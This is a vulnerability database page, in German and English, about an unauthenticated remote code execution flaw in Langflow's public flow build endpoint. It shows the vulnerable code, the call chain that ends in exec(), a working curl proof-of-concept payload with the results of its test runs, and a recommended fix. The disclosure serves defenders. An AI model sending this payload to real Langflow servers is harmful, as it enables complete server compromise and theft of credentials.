Kritisch

Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

  • Veröffentlicht: 17.03.2026
  • Aktualisiert: 11.10.2026 14:17

CISA bestätigt die Ausnutzung dieser Schwachstelle in realen Angriffen. Prüfen Sie vorrangig, ob Ihre Anwendung betroffen ist. CISA KEV · CC0 1.0

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

python
@router.post("/build_public_tmp/{flow_id}/flow")
 async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81
  2. create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

python
def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

bash
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\ n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

bash
# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
 LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

Aspect CVE-2025-3248 This Vulnerability
Endpoint /api/v1/validate/code /api/v1/build_public_tmp/{id}/flow
Fix applied Added Depends(get_current_active_user) None -- NEW vulnerability
Root cause Missing auth on code validation Unauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution via validate_code() → exec() create_class() → prepare_global_scope() → exec()
CISA KEV Yes (actively exploited) N/A (new finding)
Can simple auth fix? Yes (and it was fixed) No -- endpoint is designed to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

python
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
    # REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

python
async def create_graph(fresh_session, flow_id_str, flow_name):
    # For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) langflow < 1.9.0 1.9.0

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-306, CWE-94, CWE-95
Plattform
Python (PyPI)
Paket
langflow
Veröffentlicht
17.03.2026
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-vwmf-pq79-vjvx - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-379 - PyPA Advisory Database; CC BY 4.0

Schwachstellenhistorie: langflow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (42) im Archiv
Einträge insgesamt
42
Erste → letzte
06.2024 10.2026
Ohne Fix
7
In Angriffen ausgenutzt
5

Verteilung nach Schweregrad

  • Kritisch 15
  • Hoch 17
  • Mittel 7
  • Niedrig 3

Veröffentlichungen pro Jahr

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Schweregrad:
  1. Kritisch · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  2. Kritisch · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  3. Hoch · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  4. Kritisch · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  5. Kritisch · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  6. Hoch · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  7. Kritisch · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
  8. Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint dieser Eintrag
    Kritisch · 9.8 In Angriffen ausgenutzt CVE-2026-33017 < 1.9.0 1.9.0
  9. Kritisch · 9.8 CVE-2026-27966 <= 1.8.0rc2 keine Korrektur
  10. Hoch In Angriffen ausgenutzt CVE-2026-0770 <= 1.7.3 keine Korrektur
  11. Hoch · 7.7 CVE-2025-68477 < 1.7.1 1.7.1
  12. Hoch · 7.1 CVE-2025-68478 < 1.7.1 1.7.1
  13. Kritisch In Angriffen ausgenutzt CVE-2025-3248 < 1.3.0 1.3.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.